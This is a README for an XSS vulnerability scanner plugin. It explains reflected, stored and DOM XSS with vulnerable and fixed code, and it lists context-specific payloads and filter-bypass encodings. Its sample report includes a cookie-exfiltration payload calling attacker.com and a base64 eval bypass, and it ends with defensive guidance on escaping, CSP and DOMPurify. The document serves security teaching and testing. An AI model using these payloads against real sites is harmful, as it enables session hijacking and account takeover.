# XSS Vulnerability Scanner Plugin

Comprehensive cross-site scripting (XSS) vulnerability detection with context-aware analysis and bypass technique testing.

## Features

- **All XSS Types** - Reflected, Stored, DOM-based
- **Context Analysis** - HTML, JavaScript, CSS, URL contexts
- **WAF Bypass Testing** - Common filter evasion techniques
- **Mutation XSS Detection** - Browser-specific quirks
- **CSP Evaluation** - Content Security Policy effectiveness
- **Exploitation PoCs** - Safe proof-of-concept payloads

## Installation

```bash
/plugin install xss-vulnerability-scanner@claude-code-plugins-plus
```

## Usage

```bash
/scan-xss
# Or shortcut
/xss
```

## XSS Types Detected

### 1. Reflected XSS

User input immediately reflected in response without sanitization.

```text
// VULNERABLE
app.get('/search', (req, res) => {
    res.send(`<h1>Search results for: ${req.query.q}</h1>`);
});

// Attack
/search?q=<script>alert(document.cookie)</script>

// SECURE
app.get('/search', (req, res) => {
    const sanitized = escapeHtml(req.query.q);
    res.send(`<h1>Search results for: ${sanitized}</h1>`);
});
```

### 2. Stored XSS (Persistent XSS)

Malicious script stored in database and executed when viewed.

```text
// VULNERABLE
app.post('/comment', async (req, res) => {
    await db.comments.insert({
        text: req.body.comment
    });
});

app.get('/comments', async (req, res) => {
    const comments = await db.comments.findAll();
    res.send(comments.map(c => `<p>${c.text}</p>`).join(''));
});

// Attack
comment: <img src=x onerror="alert(document.cookie)">

// SECURE
app.post('/comment', async (req, res) => {
    await db.comments.insert({
        text: sanitizeHtml(req.body.comment)
    });
});
```

### 3. DOM-based XSS

Vulnerability in client-side JavaScript code.

```text
// VULNERABLE
<script>
document.getElementById('greeting').innerHTML =
    'Hello ' + location.hash.substring(1);
</script>

// Attack
http://example.com/#<img src=x onerror="alert(1)">

// SECURE
<script>
document.getElementById('greeting').textContent =
    'Hello ' + location.hash.substring(1);
// textContent escapes HTML automatically
</script>
```

## Context-Specific Exploitation

### HTML Context

```html
<!-- Vulnerable -->
<div>User input: USER_INPUT</div>

<!-- Payloads -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
```

### JavaScript Context

```html
<!-- Vulnerable -->
<script>var name = 'USER_INPUT';</script>

<!-- Payloads -->
'; alert(1); //
'; alert(1); var x='
'-alert(1)-'
```

### HTML Attribute Context

```html
<!-- Vulnerable -->
<input value="USER_INPUT">

<!-- Payloads -->
" onload="alert(1)
" autofocus onfocus="alert(1)
```

### URL Context

```html
<!-- Vulnerable -->
<a href="USER_INPUT">Click</a>

<!-- Payloads -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
```

### CSS Context

```html
<!-- Vulnerable -->
<style>body { background: USER_INPUT; }</style>

<!-- Payloads -->
}body{background:url('javascript:alert(1)');}
expression(alert(1))
```

## Filter Bypass Techniques

### Case Variation

```html
<ScRiPt>alert(1)</sCrIpT>
<iMg sRc=x OnErRoR=alert(1)>
```

### Encoding

```html
<!-- HTML Entity Encoding -->
&lt;script&gt;alert(1)&lt;/script&gt;

<!-- URL Encoding -->
%3Cscript%3Ealert(1)%3C/script%3E

<!-- Unicode Encoding -->
\u003cscript\u003ealert(1)\u003c/script\u003e

<!-- Hex Encoding -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
```

### Null Bytes

```html
<scri\x00pt>alert(1)</scri\x00pt>
<img src=x onerror\x00=alert(1)>
```

### Comment Breaking

```html
<!--><script>alert(1)</script>-->
<script><!--*/alert(1)//--></script>
```

### Attribute Breaking

```html
<input value="test" onclick=alert(1) ">
<input value='test' onclick='alert(1)' '>
```

## Example Report

```
XSS VULNERABILITY SCAN REPORT
==============================
URLs Tested: 150
Parameters Tested: 450
Vulnerabilities Found: 8
Critical: 3
High: 4
Medium: 1

CRITICAL VULNERABILITIES
------------------------

1. Stored XSS in User Profile
   Location: /api/profile/update
   Parameter: bio
   Type: Stored XSS
   Severity: CRITICAL (CVSS 9.0)

   Vulnerable Endpoint:
   POST /api/profile/update
   {
       "bio": "<script>alert(document.cookie)</script>"
   }

   Stored Location: users.bio column
   Triggered When: Profile viewed by any user

   Payload:
   <img src=x onerror="
       fetch('https://attacker.com/steal?cookie=' + document.cookie)
   ">

   Impact:
   - Session hijacking for all users viewing profile
   - Cookie theft
   - Account takeover
   - Worm propagation

   Remediation:
   // Server-side (Node.js)
   const DOMPurify = require('isomorphic-dompurify');

   app.post('/api/profile/update', (req, res) => {
       const sanitized = DOMPurify.sanitize(req.body.bio);
       db.updateProfile(req.user.id, { bio: sanitized });
   });

   // Client-side (React)
   import DOMPurify from 'dompurify';

   function Profile({ bio }) {
       return (
           <div dangerouslySetInnerHTML={{
               __html: DOMPurify.sanitize(bio)
           }} />
       );
   }

2. Reflected XSS in Search Function
   Location: /search
   Parameter: q
   Type: Reflected XSS
   Severity: CRITICAL (CVSS 8.2)

   Vulnerable Code:
   app.get('/search', (req, res) => {
       res.send(`
           <h1>Search results for: ${req.query.q}</h1>
           <div id="results"></div>
       `);
   });

   Payload:
   /search?q=<svg/onload=alert(document.domain)>

   Advanced Payload (WAF Bypass):
   /search?q=<img src=x onerror="eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))">
   // Base64: alert(document.cookie)

   Impact:
   - Phishing attacks
   - Session theft
   - Keylogging
   - Drive-by downloads

   Remediation:
   const escapeHtml = require('escape-html');

   app.get('/search', (req, res) => {
       const sanitized = escapeHtml(req.query.q);
       res.send(`
           <h1>Search results for: ${sanitized}</h1>
           <div id="results"></div>
       `);
   });

3. DOM-based XSS in Client Router
   Location: /app.js
   Source: location.hash
   Type: DOM XSS
   Severity: HIGH (CVSS 7.4)

   Vulnerable Code:
   // app.js
   window.addEventListener('hashchange', () => {
       const page = location.hash.substring(1);
       document.getElementById('content').innerHTML =
           `<h1>Page: ${page}</h1>`;
   });

   Attack URL:
   http://example.com/#<img src=x onerror=alert(1)>

   Impact:
   - Client-side session theft
   - Unauthorized actions
   - Data exfiltration

   Remediation:
   window.addEventListener('hashchange', () => {
       const page = location.hash.substring(1);
       // Use textContent instead of innerHTML
       document.getElementById('content').textContent =
           `Page: ${page}`;
   });
```

## Defense Mechanisms

### 1. Input Validation

```javascript
const validator = require('validator');

function validateInput(input) {
    // Whitelist approach
    if (!validator.isAlphanumeric(input, 'en-US', {ignore: ' -'})) {
        throw new Error('Invalid characters');
    }
    return input;
}
```

### 2. Output Encoding

```javascript
// HTML Context
function escapeHtml(unsafe) {
    return unsafe
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#039;");
}

// JavaScript Context
function escapeJs(unsafe) {
    return unsafe.replace(/\\/g, '\\\\')
                 .replace(/'/g, "\\'")
                 .replace(/"/g, '\\"')
                 .replace(/\n/g, '\\n')
                 .replace(/\r/g, '\\r');
}
```

### 3. Content Security Policy

```javascript
app.use((req, res, next) => {
    res.setHeader("Content-Security-Policy",
        "default-src 'self'; " +
        "script-src 'self' 'nonce-${nonce}'; " +
        "style-src 'self' 'unsafe-inline'; " +
        "img-src 'self' data: https:; " +
        "font-src 'self'; " +
        "connect-src 'self'; " +
        "frame-ancestors 'none'; " +
        "base-uri 'self'; " +
        "form-action 'self'"
    );
    next();
});
```

### 4. HTTP-Only Cookies

```javascript
res.cookie('session', token, {
    httpOnly: true,  // No JavaScript access
    secure: true,    // HTTPS only
    sameSite: 'strict'
});
```

### 5. DOMPurify Sanitization

```javascript
const DOMPurify = require('isomorphic-dompurify');

const clean = DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR: ['href']
});
```

## Best Practices

1. **Never Trust User Input** - Sanitize everything
2. **Context-Aware Encoding** - Different contexts need different encoding
3. **Use Security Libraries** - DOMPurify, OWASP Java Encoder
4. **Implement CSP** - Strong Content Security Policy
5. **HTTPOnly Cookies** - Prevent cookie theft
6. **Regular Testing** - Automated and manual XSS testing

## License

MIT License - See LICENSE file for details
